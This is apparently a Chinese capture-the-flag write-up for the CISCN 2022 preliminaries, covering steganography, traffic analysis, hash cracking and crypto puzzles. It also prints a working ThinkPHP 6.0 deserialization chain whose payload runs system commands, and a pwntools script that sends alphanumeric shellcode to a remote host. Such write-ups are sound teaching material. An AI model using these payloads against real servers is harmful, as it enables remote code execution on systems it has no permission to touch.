CISCN 2022 预选赛

警告
本文最后更新于 2023-02-01,文中内容可能已过时。

MISC

问卷调查

填写问卷得到flag

ez_usb

键盘流量提取

有三组流量 其中IP为2.4.1的流量没用

分别提取2.8.1和2.10.1的流量

1
2
tshark -r ez_usb.pcapng -T fields -e usbhid.data -Y "usb.device_address == 8"> 281.txt
tshark -r ez_usb.pcapng -T fields -e usbhid.data -Y "usb.device_address == 10"> 2101.txt

然后用脚本转换

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import os,sys

normalKeys = {
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e","09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j","0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o","13":"p", "14":"q", "15":"r", "16":"s", "17":"t","18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4","22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E","09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J","0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O","13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y","1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")", "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>", "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"", "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>", "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>", "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

output = []
keys = open('281.txt')
for line in keys:
    line = ''.join(line[i:i+2]+':' for i in range(0,len(line)-1,2)).strip(':') 
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
            continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass
keys.close()
flag=0
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass

for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass

print ('output :' + "".join(output))

281得到的文件放入010保存为rar

image-20220531211706965

image-20220531211718548

2101得到的为压缩包密码

image-20220531211727168

解压得到flag

image-20220531211817091

everlasting_night

stegslove打开

发现A2有数据

img

img

猜测是密码

用clocked-pixel解带密码的lsb

img

得到一个带密码的压缩包

img

图片尾还有一个长度为32的字符串

经过尝试发现是md5

cmd5 pmd5都解不了 得用somd5

img

得到一个png头的文件 但是结构不对

用GIMP载入原始数据

img

手动调一下宽度 352得到正确的图像

img

babydisk

给了一个vmdk文件 用FTK imager挂载

发现一个wav文件

image-20220531173326574

用deepsound打开提示输入密码 证明是deepsound加密

去网上搜索deepsound密码 https://blog.csdn.net/m0_67507776/article/details/124562333

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#! python3
 
import logging
import os
import sys
import textwrap
 
def decode_data_low(buf):
  return buf[::2]
 
def decode_data_normal(buf):
  out = bytearray()
  for i in range(0, len(buf), 4):
    out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
  return out
 
def decode_data_high(buf):
  out = bytearray()
  for i in range(0, len(buf), 8):
    out.append((buf[i] & 3) << 6     | (buf[i + 2] & 3) << 4 \
             | (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
  return out
 
 
def is_magic(buf):
  # This is a more efficient way of testing for the `DSCF` magic header without
  # decoding the whole buffer
  return (buf[0] & 15)  == (68 >> 4) and (buf[2]  & 15) == (68 & 15) \
     and (buf[4] & 15)  == (83 >> 4) and (buf[6]  & 15) == (83 & 15) \
     and (buf[8] & 15)  == (67 >> 4) and (buf[10] & 15) == (67 & 15) \
     and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)
 
 
def is_wave(buf):
  return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'
 
 
def process_deepsound_file(f):
  bname = os.path.basename(f.name)
  logger = logging.getLogger(bname)
 
  # Check if it's a .wav file
  buf = f.read(12)
  if not is_wave(buf):
    global convert_warn
    logger.error('file not in .wav format')
    convert_warn = True
    return
  f.seek(0, os.SEEK_SET)
 
  # Scan for the marker...
  hdrsz = 104
  hdr = None
 
  while True:
    off = f.tell()
    buf = f.read(hdrsz)
    if len(buf) < hdrsz: break
 
    if is_magic(buf):
          hdr = decode_data_normal(buf)
          logger.info('found DeepSound header at offset %i', off)
          break
 
    f.seek(-hdrsz + 1, os.SEEK_CUR)
 
  if hdr is None:
    logger.warn('does not appear to be a DeepSound file')
    return
 
  # Check some header fields
  mode = hdr[4]
  encrypted = hdr[5]
 
  modes = {2: 'low', 4: 'normal', 8: 'high'}
  if mode in modes:
    logger.info('data is encoded in %s-quality mode', modes[mode])
  else:
    logger.error('unexpected data encoding mode %i', modes[mode])
    return
 
  if encrypted == 0:
    logger.warn('file is not encrypted')
    return
  elif encrypted != 1:
    logger.error('unexpected encryption flag %i', encrypted)
    return
 
  sha1 = hdr[6:6+20]
  print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))
 
 
if __name__ == '__main__':
  import argparse
 
  parser = argparse.ArgumentParser()
  parser.add_argument('--verbose', '-v', action='store_true')
  parser.add_argument('files', nargs='+', metavar='file',
    type=argparse.FileType('rb', bufsize=4096))
  args = parser.parse_args()
 
  if args.verbose:
    logging.basicConfig(level=logging.INFO)
  else:
    logging.basicConfig(level=logging.WARN)
 
  convert_warn = False
 
  for f in args.files:
    process_deepsound_file(f)
 
  if convert_warn:
    print(textwrap.dedent(rstrip()), file=sys.stderr)

使用爆破脚本获取wav的哈希值 然后使用john爆破

image-20220531173647594

image-20220531173709454

得到密码 feedback 解密得到key.txt

image-20220531173935636

在回收站找到一段加密文件 $RDWTTK4

image-20220531174445514

尝试后发现为varaCrypt加密 使用刚才得到的密码挂载

得到一个名为spiral的文件 为PK头 但是结构不正确

image-20220531174654839

搜索得到螺旋矩阵

https://blog.csdn.net/GW_wg/article/details/120406192

大体就是把spiral的数据按边长为87的螺旋矩阵的顺序

写入新文件就行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def generateMatrix(n):
    nums = [[0] * n for _ in range(n)]
    startx, starty = 0, 0               # 起始点
    loop, mid = n // 2, n // 2          # 迭代次数、n为奇数时,矩阵的中心点
    count = 1                           # 计数

    for offset in range(1, loop + 1) :      # 每循环一层偏移量加1,偏移量从1开始
        for i in range(starty, n - offset) :    # 从左至右,左闭右开
            nums[startx][i] = count
            count += 1
        for i in range(startx, n - offset) :    # 从上至下
            nums[i][n - offset] = count
            count += 1
        for i in range(n - offset, starty, -1) : # 从右至左
            nums[n - offset][i] = count
            count += 1
        for i in range(n - offset, startx, -1) : # 从下至上
            nums[i][starty] = count
            count += 1                
        startx += 1         # 更新起始点
        starty += 1

    if n % 2 != 0 :			# n为奇数时,填充中心点
        nums[mid][mid] = count 
    return nums

array1 = [0]*7569
fr = open('spiral','rb').read()
s = sum(generateMatrix(87), [])

for i in range(len(s)):
    array1[i] = fr[s[i]-1]

fw = open('flag.zip','wb')
for i in array1:
    fw.write(bytes([i]))
    
fw.close()

image-20220530181717054

这是已经被螺旋处理过的

image-20220530184734418

螺旋矩阵

长度49 七位一行 按照螺旋的方向读即可

ohhhhhhflag{701fa9fe-63f5-410b-93d4-119f96965be6}

Crypto

签到电台

扫码关注 春秋伽玛(AWDGAME) ,输入“签到电台”获取提示。

1
2
3
4
5
在“标准电码表”找“弼时安全到达了”所对应的7个电码,再跟“密码本”的前7*4个数字分别逐位进行“模十算法”(加不进位、减不借位),所得到的就是要发送的电码。

发送电码前先发送“s”启动,即按3个“.”,这个发送电报的过程可以使用抓包软件进行抓取,可方便输入电报。

(如果您还需要进一步的提示,可在本公众号输入“豪密剖析”获取。)

在公众号获取豪密的提示

1
2
3
4
5
6
“弼时安全到达了”所对应的7个电码:
1732 2514 1344 0356 0451 6671 0055

模十算法示例:1732与6378得到7000

发包示例:/send?msg=s

密码表前28位为

6385606991834012519695645654

进行模十得到

7017857304274368554751355609

burp发包得到flag

img

img

基于挑战码的双向认证

非预期 有权限访问存储了flag的文件

1
find / -name flag* |grep flag

img

1
strings `find / -name flag*` |grep flag{

img

基于挑战码的双向认证2

同上

WEB

Ez_pop

ThinkPHP6.0反序列化漏洞

POC如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["key" => ["key1" => "whoami"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;

class oasis extends Model
{
}
$a = new oasis();
$b = new oasis($a);

echo urlencode(serialize($b));

Payload

1
2
GET:/index.php/index/test
POST:a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7D%7D

img

Pwn

login-nomal

前边考的更接近re 代码逆向

后面考的是纯字母数字shellcode 直接用alpha3生成一段对于rdx寄存器的shellcode即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *

context.log_level = 'debug'
# p = process('./login')
p = remote('59.110.142.139', 25377)

payload1 = "msg:ro0tt\nopt:1\n"
shellcode = 'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload2 = "msg:"+ shellcode +"\nopt:2\n"

p.recvuntil('>>>',drop=True)
p.sendline(payload1)
p.sendline(payload2)

p.interactive()
0%